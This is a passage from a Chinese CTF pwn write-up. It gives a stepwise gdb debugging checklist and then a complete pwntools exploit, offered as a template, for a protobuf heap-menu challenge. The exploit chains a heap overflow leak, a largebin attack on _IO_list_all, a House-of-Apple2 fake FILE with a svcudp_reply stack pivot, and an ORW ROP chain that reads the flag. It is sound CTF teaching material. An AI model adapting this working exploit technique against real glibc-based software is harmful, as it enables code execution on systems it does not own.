tele $rax

你会发现这三步实际上就是在问三个问题:

  1. fp + 0x48 有没有把 rbp 指到 chunk0
  2. rbp + 0x18 有没有把 rax 指到 fake xdr_ops
  3. rax + 0x28 有没有真的填成 leave_ret

只要这三步都对,后面就不再是“结构题”,而是普通 ROP 题了。

第七阶段:最后才看 ORW

真的走进 ORW 以后,才需要去看这些:

x/20gx chunk0
x/20gx chunk0 + 0x28
x/s chunk0

这时最值得确认的是:

  • chunk0 开头的 "./flag" 还在
  • chunk0 + 0x8 是 add_rsp18
  • chunk0 + 0x28 开始已经是你预期的 ROP
  • open 之后 fd 是否真的回到了 0

这一整套顺序的核心思想其实很简单:

每一阶段只问“这一层有没有对”,不要同时问五层。

结语

如果下一次你把脚本删了,只剩二进制和这份文档,我建议按下面这个 checklist 来。

第一步:先把交互层打通

  • 恢复 protobuf 协议
  • 确认菜单映射 1~5
  • 确认长度头是 p32
  • 确认本地交互不受 PTY / gdb.attach() 干扰

第二步:只做漏洞最小触发

  • 先申请小 chunk
  • 再 edit 传大 size
  • 用 show 看是否真的越界读到后面的区域

第三步:先拿 libc,再拿 heap

  • 不要跳步
  • 双泄露没稳之前别急着做 _IO_list_all
  • 先把“每次都能 leak 到正确区域”做稳定

第四步:确认 largebin attack 的结果

  • 不要只看 payload 自己觉得“写得像对了”
  • 直接 p _IO_list_all
  • 直接 tele _IO_list_all
  • 看到它真的指向 heap + 0x6180 才算过关

第五步:只修 Apple2 结构,不急着修 ORW

  • 先看 _wide_data
  • 再看 _wide_vtable
  • 再看 _flags
  • 再看 _IO_save_base

这一步的原则是:

能在 FILE 层解决的,不要一头扎进 svcudp_reply

第六步:只修 svcudp_reply 三层指针

  • rbp = [fp + 0x48]
  • rax = [rbp + 0x18]
  • call [rax + 0x28]

你把这三层都修通,ORW 基本就只是收尾。

第七步:最后再看 ROP 是否够稳

  • "./flag" 是否还在
  • add_rsp18 是否正确
  • leave_ret 是否正确
  • close(0) 之后 open 是否把 fd 拿回 0
  • read / write 的 buffer 是否和你想的一样

最后一句提醒

这题最浪费时间的行为,不是“调错了”,而是“明明当前问题还停留在上一层,却已经开始改下一层”。

所以如果下次再做,最值得带走的不是某一个偏移,而是这个习惯:

先确认当前这一层解释对不对,再去碰下一层。

最终exp如下(可以当模版---空间不够分开写orw)

这里的chunk0包含orw那一段的首地址

file_addr是写上io_list_all的起始的堆块的首地址(pre_size)那一块

至于其他核心字段的解释我都写在注释里了

在pre_size上写上标志位即可

#!/usr/bin/python3
from pwn import *
from recovered_pb2 import HeapPayload
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 1
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1


def build_fake_xdr_ops(x_setpostn_target):
    ops = bytearray(0x48)
    # svcudp_reply first calls su_xdrs.x_ops->x_setpostn. Point that slot at
    # leave; ret so the gadget pivots into the ORW chain already laid out in
    # chunk0.
    ops[0x28:0x30] = p64(x_setpostn_target)
    return bytes(ops)


def create_io():
    global io , duan , elf , libc 
    elf = ELF(file_name)
   # libc = None 
    libc = ELF(libc_name)
    if contents == 1:
        # This environment does not always have spare PTY devices, so use pipes.
        io = process(file_name, stdin=PIPE, stdout=PIPE, stderr=PIPE)
        #io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
        #io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')#set follow-fork-mode parent
        def duan(*address):
            pay = ''
            if pie:
                for i in address:
                    pay += 'b *$rebase(' + str(i) + ')' + '\n'
            else:
                for i in address:
                    pay += 'b *' + str(i) + '\n'
            gdb.attach(io,pay)
            sp()
    else:
        io = remote(host,port)
        elf = ELF(file_name)
        libc = None# ELF('./libc.so.6')

pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s  = lambda x:io.send(x) 
rt = lambda x:io.recvuntil(x)
sla = lambda x,y:io.sendafter(x,y)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda  :io.interactive()
sp = lambda  :sleep(1.5)
q  = lambda  :sleep(0.2)
lg = lambda  :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )


def pack_msg(option, ids=None, sizes=None, content=None):
    msg = HeapPayload()
    msg.option = option

    if ids is not None:
        if isinstance(ids, int):
            msg.heap_chunks_id.append(ids)
        else:
            msg.heap_chunks_id.extend(ids)

    if sizes is not None:
        if isinstance(sizes, int):
            msg.chunk_sizes.append(sizes)
        else:
            msg.chunk_sizes.extend(sizes)

    if content is not None:
        msg.heap_content = content

    return msg.SerializeToString()


def send_msg(pay):
    s(p32(len(pay)))
    s(pay)


def add(size, content=None):
    pay = pack_msg(1, sizes=size, content=content)
    send_msg(pay)


def free(idx):
    pay = pack_msg(2, ids=idx)
    send_msg(pay)


def edit(idx, size, content=None):
    if content is not None and size is None:
        size = len(content)
    pay = pack_msg(3, ids=idx, sizes=size, content=content)
    send_msg(pay)


def show(idx):
    pay = pack_msg(4, ids=idx)
    send_msg(pay)


def quit_menu():
    pay = pack_msg(5)
    send_msg(pay)

create_io()
add(0x420, b'H')
add(0x420, b'H')
add(0x420, b'A') #2
add(0x420, b'B') #3
add(0x410, b'C') #4
add(0x410, b'D') #5
add(0x410, b'E') #6


free(3)
pd = b'a'*0x420 + p64(0x430) + p64(0x421)
rt("Your prompt >> ")
edit(2, len(pd), pd)


rt("Your prompt >> ")
pd = b'a'*0x420
pd += b'@'*0x10
edit(2, len(pd), pd)
show(2)
rt(b'@'*0x10)
lib = ru(6) - 0x21b0d0
pr(lib)


pd = b'a'*0x430
pd += b'@'*0x10
edit(2, len(pd), pd)
show(2)
rt(b'@'*0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 +  0x31eb000 - 0x10
pr(heap)


pd = b'a'*0x420 + p64(0x430) + p64(0x431) + p64(lib + 0x21b0d0)*2 + p64(heap - 0x21b0d0 - 0x2fd5850 +  0x31eb000 - 0x10)+p64(lib + 0x21b680-0x20) + b'a'*0x20
edit(2, len(pd), pd)


free(5)
add(0x4f0, b'F') 

pop_rax = lib+next(libc.search(asm("pop rax;ret")))
pop_rdi = lib+next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib+next(libc.search(asm("pop rsi;ret")))
pop_rdx12 = lib+next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = lib + next(libc.search(asm("syscall;ret")))
leave_ret = lib+next(libc.search(asm("leave;ret")))
add_rsp18 = lib+next(libc.search(asm("add rsp,0x18;ret")))
close_addr = lib + libc.sym['close']
read_addr = lib + libc.sym['read']
write_addr = lib + libc.sym['write']

file_addr=heap + 0x6180
# _IO_list_all 最终挂到 chunk header,_wide_data 需要右移 0x8 才能让
# _IO_write_base/_ptr 对齐到当前这份部分覆盖出来的 0/1。

IO_wide_data_addr=file_addr + 0x8 
  #wide_data + 0x18 -> 你希望的 _IO_write_base
  #wide_data + 0x20 -> 你希望的 _IO_write_ptr
  #wide_data + 0x28 -> 你希望的 _IO_write_end
 # wide_data + 0xe0 -> 你希望的 _wide_vtable 指针

 # 所以这里的 file_addr + 0x8 不是“找个可写地址”,而是“让这些字段刚好对齐”。
# _wide_data + 0xe0 现在落在 file_addr + 0xe8,所以 fake wide vtable
# 需要前移到 file_addr + 0x78,这样 +0x68 仍然正好落到我们写的 magic_gadget。
wide_vtable_addr=file_addr + 0x78 
#因为最后真正 call 的是:(_wide_vtable + 0x68)
#magic_gadget 放在file_addr + 0xe0
#wide_vtable_addr + 0x68 = file_addr + 0xe0  ===》 wide_vtable_addr = file_addr + 0x78
_IO_stdfile_2_lock = lib + 0x21ca60
magic_gadget = lib + 0x16a0da
orw_addr = heap + 0x22f0 #orw那一块的首地址
chunk0 = heap + 0x22f0
fake_xdr_ops_addr = chunk0 + 0x230

orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0)+p64(fake_xdr_ops_addr)
#close
orw += p64(leave_ret)
orw += p64(pop_rdi)
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)
edit(0,len(orw),orw)
support = bytearray(orw)
support = support.ljust(fake_xdr_ops_addr - chunk0, b"\x00")
support += build_fake_xdr_ops(leave_ret)
edit(0, len(support), bytes(support))


fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
# svcudp_reply+26 loads rbp from fp+0x48, which is _IO_save_base on this
# partial FILE layout. Keep it pointed at our chunk0 control area instead of 0.
fake_io += p64(chunk0)  # _IO_save_base
fake_io += p64(0) * 3  # from _IO_backup_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b"\x00" * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
fake_io += p64(lib+libc.sym['_IO_wfile_jumps'])  # fake vtable    #0xd8
# _wide_data = file_addr + 0x8 后,wide_data + 0xe0 会落到 file_addr + 0xe8。
# 所以 file_addr + 0xe0 这格要放 __doallocate,file_addr + 0xe8 这格再放 _wide_vtable 指针。
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)
# _IO_list_all 挂到 chunk header 后,这个 qword 会被当成 _flags。
# 用干净的 _IO_MAGIC,避免残留 chunk 数据把 _IO_CURRENTLY_PUTTING (0x800) 带进去。
pd = b'a'*0x410 + p64(0xfbad0000) + p64(0x421)
edit(4, len(pd+fake_io), pd +fake_io)
print(hex(len(fake_io+pd)))

#gdb.attach(io,"b *$rebase(0x1C84)")
if args.GDB:
    gdb.attach(io)
quit_menu()
it()